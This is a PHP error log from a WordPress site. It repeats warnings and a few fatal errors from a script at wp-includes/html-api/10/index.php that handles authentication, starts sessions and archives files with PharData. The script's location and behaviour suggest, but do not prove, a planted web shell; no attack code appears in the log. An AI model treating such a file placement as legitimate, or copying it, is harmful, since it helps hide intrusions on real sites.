[15-Feb-2026 01:39:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:39:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 01:39:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:39:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:40:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:40:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:40:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 01:40:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 01:40:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:40:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:40:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 01:40:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:40:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:41:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:17 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:17 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:42:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:42:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:42:10 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1081
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1081
[15-Feb-2026 01:42:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:42:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:42:16 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/homerdlh/public_html/wp-includes/html-api/10/10.tar.gz" exists and must be unlinked prior to conversion in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1105
Stack trace:
#0 /home/homerdlh/public_html/wp-includes/html-api/10/index.php(1105): PharData->compress()
#1 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1105
[15-Feb-2026 01:43:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:43:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:43:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 01:43:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:43:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:43:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:43:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:43:12 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/homerdlh/public_html/wp-includes/html-api/10/class-wp-html-token.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1178
Stack trace:
#0 /home/homerdlh/public_html/wp-includes/html-api/10/index.php(1178): PharData->compress()
#1 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[15-Feb-2026 01:43:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:43:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:44:56 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:44:56 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:21:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:21:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:23:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:23:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:27:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:27:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:27:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:27:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:27:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:27:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:27:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:27:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:27:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:28:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:28:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:28:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:28:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:28:55 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:28:55 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:29:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:29:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:29:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:29:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:29:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:29:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:29:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:29:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:29:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:29:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:29:49 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:29:49 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:29:49 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:29:49 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:29:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:29:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:29:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:29:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:29:55 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:29:55 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:29:55 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:29:55 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:29:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:29:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:29:58 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:29:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:29:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:30:01 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:01 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:01 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:01 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:30:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:30:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:30:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:28 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:28 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:49 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:49 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:30:49 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:30:49 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:30:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:55 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:55 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:55 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:55 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:30:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:30:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:31:01 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:01 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:01 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:31:01 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:31:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:31:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:31:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:31:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:31:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:31:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:31:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:31:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:31:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:31:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:31:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:19 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:31:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:31:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:31:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:31:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:31:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
